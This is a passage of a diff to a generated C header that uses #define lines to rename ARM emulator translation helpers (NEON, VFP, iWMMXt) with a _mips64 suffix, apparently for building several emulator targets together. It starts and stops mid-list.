+#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_mips64 +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_mips64 +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_mips64 +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_mips64 +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_mips64 +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_mips64 +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_mips64 +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_mips64 +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_mips64 +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_mips64 +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_mips64 +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_mips64 +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_mips64 +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_mips64 +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_mips64 +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_mips64 +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_mips64 +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_mips64 +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_mips64 +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_mips64 +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_mips64 +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_mips64 +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_mips64 +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_mips64 +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_mips64 +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_mips64 +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_mips64 +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_mips64 +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_mips64 +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_mips64 +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_mips64 +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_mips64 +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_mips64 +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_mips64 +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_mips64 +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_mips64 +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_mips64 +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_mips64 +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_mips64 +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_mips64 +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_mips64 +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_mips64 +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_mips64 +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_mips64 +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_mips64 +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_mips64 +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_mips64 +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_mips64 +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_mips64 +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_mips64 +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_mips64 +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_mips64 +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_mips64 +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_mips64 +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_mips64 +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_mips64 +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_mips64 +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_mips64 +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_mips64 +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_mips64 +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_mips64 +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_mips64 +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_mips64 +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_mips64 +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_mips64 +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_mips64 +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_mips64 +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_mips64 +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_mips64 +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_mips64 +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_mips64 +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_mips64 +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_mips64 +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_mips64 +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_mips64 +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_mips64 +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_mips64 +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_mips64 +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_mips64 +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_mips64 +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_mips64 +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_mips64 +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_mips64 +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_mips64 +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_mips64 +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_mips64 +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_mips64 +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_mips64 +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_mips64 +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_mips64 +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_mips64 +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_mips64 +#define gen_helper_neon_tbl gen_helper_neon_tbl_mips64 +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_mips64 +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_mips64 +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_mips64 +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_mips64 +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_mips64 +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_mips64 +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_mips64 +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_mips64 +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_mips64 +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_mips64 +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_mips64 +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_mips64 +#define gen_helper_neon_zip16 gen_helper_neon_zip16_mips64 +#define gen_helper_neon_zip8 gen_helper_neon_zip8_mips64 +#define gen_helper_pre_hvc gen_helper_pre_hvc_mips64 +#define gen_helper_pre_smc gen_helper_pre_smc_mips64 +#define gen_helper_qadd16 gen_helper_qadd16_mips64 +#define gen_helper_qadd8 gen_helper_qadd8_mips64 +#define gen_helper_qaddsubx gen_helper_qaddsubx_mips64 +#define gen_helper_qsub16 gen_helper_qsub16_mips64 +#define gen_helper_qsub8 gen_helper_qsub8_mips64 +#define gen_helper_qsubaddx gen_helper_qsubaddx_mips64 +#define gen_helper_rbit gen_helper_rbit_mips64 +#define gen_helper_recpe_f32 gen_helper_recpe_f32_mips64 +#define gen_helper_recpe_u32 gen_helper_recpe_u32_mips64 +#define gen_helper_recps_f32 gen_helper_recps_f32_mips64 +#define gen_helper_rintd gen_helper_rintd_mips64 +#define gen_helper_rintd_exact gen_helper_rintd_exact_mips64 +#define gen_helper_rints gen_helper_rints_mips64 +#define gen_helper_rints_exact gen_helper_rints_exact_mips64 +#define gen_helper_ror_cc gen_helper_ror_cc_mips64 +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_mips64 +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_mips64 +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_mips64 +#define gen_helper_sadd16 gen_helper_sadd16_mips64 +#define gen_helper_sadd8 gen_helper_sadd8_mips64 +#define gen_helper_saddsubx gen_helper_saddsubx_mips64 +#define gen_helper_sar_cc gen_helper_sar_cc_mips64 +#define gen_helper_sdiv gen_helper_sdiv_mips64 +#define gen_helper_sel_flags gen_helper_sel_flags_mips64 +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_mips64 +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_mips64 +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_mips64 +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_mips64 +#define gen_helper_set_rmode gen_helper_set_rmode_mips64 +#define gen_helper_set_user_reg gen_helper_set_user_reg_mips64 +#define gen_helper_shadd16 gen_helper_shadd16_mips64 +#define gen_helper_shadd8 gen_helper_shadd8_mips64 +#define gen_helper_shaddsubx gen_helper_shaddsubx_mips64 +#define gen_helper_shl_cc gen_helper_shl_cc_mips64 +#define gen_helper_shr_cc gen_helper_shr_cc_mips64 +#define gen_helper_shsub16 gen_helper_shsub16_mips64 +#define gen_helper_shsub8 gen_helper_shsub8_mips64 +#define gen_helper_shsubaddx gen_helper_shsubaddx_mips64 +#define gen_helper_ssat gen_helper_ssat_mips64 +#define gen_helper_ssat16 gen_helper_ssat16_mips64 +#define gen_helper_ssub16 gen_helper_ssub16_mips64 +#define gen_helper_ssub8 gen_helper_ssub8_mips64 +#define gen_helper_ssubaddx gen_helper_ssubaddx_mips64 +#define gen_helper_sub_saturate gen_helper_sub_saturate_mips64 +#define gen_helper_sxtb16 gen_helper_sxtb16_mips64 +#define gen_helper_uadd16 gen_helper_uadd16_mips64 +#define gen_helper_uadd8 gen_helper_uadd8_mips64 +#define gen_helper_uaddsubx gen_helper_uaddsubx_mips64 +#define gen_helper_udiv gen_helper_udiv_mips64 +#define gen_helper_uhadd16 gen_helper_uhadd16_mips64 +#define gen_helper_uhadd8 gen_helper_uhadd8_mips64 +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_mips64 +#define gen_helper_uhsub16 gen_helper_uhsub16_mips64 +#define gen_helper_uhsub8 gen_helper_uhsub8_mips64 +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_mips64 +#define gen_helper_uqadd16 gen_helper_uqadd16_mips64 +#define gen_helper_uqadd8 gen_helper_uqadd8_mips64 +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_mips64 +#define gen_helper_uqsub16 gen_helper_uqsub16_mips64 +#define gen_helper_uqsub8 gen_helper_uqsub8_mips64 +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_mips64 +#define gen_helper_usad8 gen_helper_usad8_mips64 +#define gen_helper_usat gen_helper_usat_mips64 +#define gen_helper_usat16 gen_helper_usat16_mips64 +#define gen_helper_usub16 gen_helper_usub16_mips64 +#define gen_helper_usub8 gen_helper_usub8_mips64 +#define gen_helper_usubaddx gen_helper_usubaddx_mips64 +#define gen_helper_uxtb16 gen_helper_uxtb16_mips64 +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_mips64 +#define gen_helper_v7m_msr gen_helper_v7m_msr_mips64 +#define gen_helper_vfp_absd gen_helper_vfp_absd_mips64 +#define gen_helper_vfp_abss gen_helper_vfp_abss_mips64 +#define gen_helper_vfp_addd gen_helper_vfp_addd_mips64 +#define gen_helper_vfp_adds gen_helper_vfp_adds_mips64 +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_mips64 +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_mips64 +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_mips64 +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_mips64 +#define gen_helper_vfp_divd gen_helper_vfp_divd_mips64 +#define gen_helper_vfp_divs gen_helper_vfp_divs_mips64 +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_mips64 +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_mips64 +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_mips64 +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_mips64 +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_mips64 +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_mips64 +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_mips64 +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_mips64 +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_mips64 +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_mips64 +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_mips64 +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_mips64 +#define gen_helper_vfp_mins gen_helper_vfp_mins_mips64 +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_mips64 +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_mips64 +#define gen_helper_vfp_muld gen_helper_vfp_muld_mips64 +#define gen_helper_vfp_muls gen_helper_vfp_muls_mips64 +#define gen_helper_vfp_negd gen_helper_vfp_negd_mips64 +#define gen_helper_vfp_negs gen_helper_vfp_negs_mips64 +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_mips64 +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_mips64 +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_mips64 +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_mips64 +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_mips64 +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_mips64 +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_mips64 +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_mips64 +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_mips64 +#define gen_helper_vfp_subd gen_helper_vfp_subd_mips64 +#define gen_helper_vfp_subs gen_helper_vfp_subs_mips64 +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_mips64 +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_mips64 +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_mips64 +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_mips64 +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_mips64 +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_mips64 +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_mips64 +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_mips64 +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_mips64 +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_mips64 +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_mips64 +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_mips64 +#define gen_helper_vfp_touid gen_helper_vfp_touid_mips64 +#define gen_helper_vfp_touis gen_helper_vfp_touis_mips64 +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_mips64 +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_mips64 +#define gen_helper_vfp_tould gen_helper_vfp_tould_mips64 +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_mips64 +#define gen_helper_vfp_touls gen_helper_vfp_touls_mips64 +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_mips64 +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_mips64 +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_mips64 +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_mips64 +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_mips64 +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_mips64 +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_mips64 +#define gen_helper_wfe gen_helper_wfe_mips64 +#define gen_helper_wfi gen_helper_wfi_mips64 +#define gen_hvc gen_hvc_mips64 +#define gen_intermediate_code_internal gen_intermediate_code_internal_mips64 +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_mips64 +#define gen_iwmmxt_address gen_iwmmxt_address_mips64 +#define gen_iwmmxt_shift gen_iwmmxt_shift_mips64 +#define gen_jmp gen_jmp_mips64 +#define gen_load_and_replicate gen_load_and_replicate_mips64 +#define gen_load_exclusive gen_load_exclusive_mips64 +#define gen_logic_CC gen_logic_CC_mips64 +#define gen_logicq_cc gen_logicq_cc_mips64 +#define gen_lookup_tb gen_lookup_tb_mips64 +#define gen_mov_F0_vreg gen_mov_F0_vreg_mips64 +#define gen_mov_F1_vreg gen_mov_F1_vreg_mips64 +#define gen_mov_vreg_F0 gen_mov_vreg_F0_mips64 +#define gen_muls_i64_i32 gen_muls_i64_i32_mips64 +#define gen_mulu_i64_i32 gen_mulu_i64_i32_mips64 +#define gen_mulxy gen_mulxy_mips64 +#define gen_neon_add gen_neon_add_mips64 +#define gen_neon_addl gen_neon_addl_mips64 +#define gen_neon_addl_saturate gen_neon_addl_saturate_mips64 +#define gen_neon_bsl gen_neon_bsl_mips64 +#define gen_neon_dup_high16 gen_neon_dup_high16_mips64 +#define gen_neon_dup_low16 gen_neon_dup_low16_mips64 +#define gen_neon_dup_u8 gen_neon_dup_u8_mips64 +#define gen_neon_mull gen_neon_mull_mips64 +#define gen_neon_narrow gen_neon_narrow_mips64 +#define gen_neon_narrow_op gen_neon_narrow_op_mips64 +#define gen_neon_narrow_sats gen_neon_narrow_sats_mips64 +#define gen_neon_narrow_satu gen_neon_narrow_satu_mips64 +#define gen_neon_negl gen_neon_negl_mips64 +#define gen_neon_rsb gen_neon_rsb_mips64 +#define gen_neon_shift_narrow gen_neon_shift_narrow_mips64 +#define gen_neon_subl gen_neon_subl_mips64 +#define gen_neon_trn_u16 gen_neon_trn_u16_mips64 +#define gen_neon_trn_u8 gen_neon_trn_u8_mips64 +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_mips64 +#define gen_neon_unzip gen_neon_unzip_mips64 +#define gen_neon_widen gen_neon_widen_mips64 +#define gen_neon_zip gen_neon_zip_mips64 +#define gen_new_label gen_new_label_mips64 +#define gen_nop_hint gen_nop_hint_mips64 +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_mips64 +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_mips64 +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_mips64 +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_mips64 +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_mips64 +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_mips64 +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_mips64 +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_mips64 +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_mips64 +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_mips64 +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_mips64 +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_mips64 +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_mips64 +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_mips64 +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_mips64 +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_mips64 +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_mips64 +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_mips64 +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_mips64 +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_mips64 +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_mips64 +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_mips64 +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_mips64 +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_mips64 +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_mips64 +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_mips64 +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_mips64 +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_mips64 +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_mips64 +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_mips64 +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_mips64 +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_mips64 +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_mips64 +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_mips64 +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_mips64 +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_mips64 +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_mips64 +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_mips64 +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_mips64 +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_mips64 +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_mips64 +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_mips64 +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_mips64 +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_mips64 +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_mips64 +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_mips64 +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_mips64 +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_mips64 +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_mips64 +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_mips64 +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_mips64 +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_mips64 +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_mips64 +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_mips64 +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_mips64 +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_mips64 +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_mips64 +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_mips64 +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_mips64 +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_mips64 +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_mips64 +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_mips64 +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_mips64 +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_mips64 +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_mips64 +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_mips64 +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_mips64 +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_mips64 +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_mips64 +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_mips64 +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_mips64 +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_mips64 +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_mips64 +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_mips64 +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_mips64 +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_mips64 +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_mips64 +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_mips64 +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_mips64 +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_mips64 +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_mips64 +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_mips64 +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_mips64 +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_mips64 +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_mips64 +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_mips64 +#define gen_rev16 gen_rev16_mips64 +#define gen_revsh gen_revsh_mips64 +#define gen_rfe gen_rfe_mips64 +#define gen_sar gen_sar_mips64 +#define gen_sbc_CC gen_sbc_CC_mips64 +#define gen_sbfx gen_sbfx_mips64 +#define gen_set_CF_bit31 gen_set_CF_bit31_mips64 +#define gen_set_condexec gen_set_condexec_mips64 +#define gen_set_cpsr gen_set_cpsr_mips64 +#define gen_set_label gen_set_label_mips64 +#define gen_set_pc_im gen_set_pc_im_mips64 +#define gen_set_psr gen_set_psr_mips64 +#define gen_set_psr_im gen_set_psr_im_mips64 +#define gen_shl gen_shl_mips64 +#define gen_shr gen_shr_mips64 +#define gen_smc gen_smc_mips64 +#define gen_smul_dual gen_smul_dual_mips64 +#define gen_srs gen_srs_mips64 +#define gen_ss_advance gen_ss_advance_mips64 +#define gen_step_complete_exception gen_step_complete_exception_mips64 +#define gen_store_exclusive gen_store_exclusive_mips64 +#define gen_storeq_reg 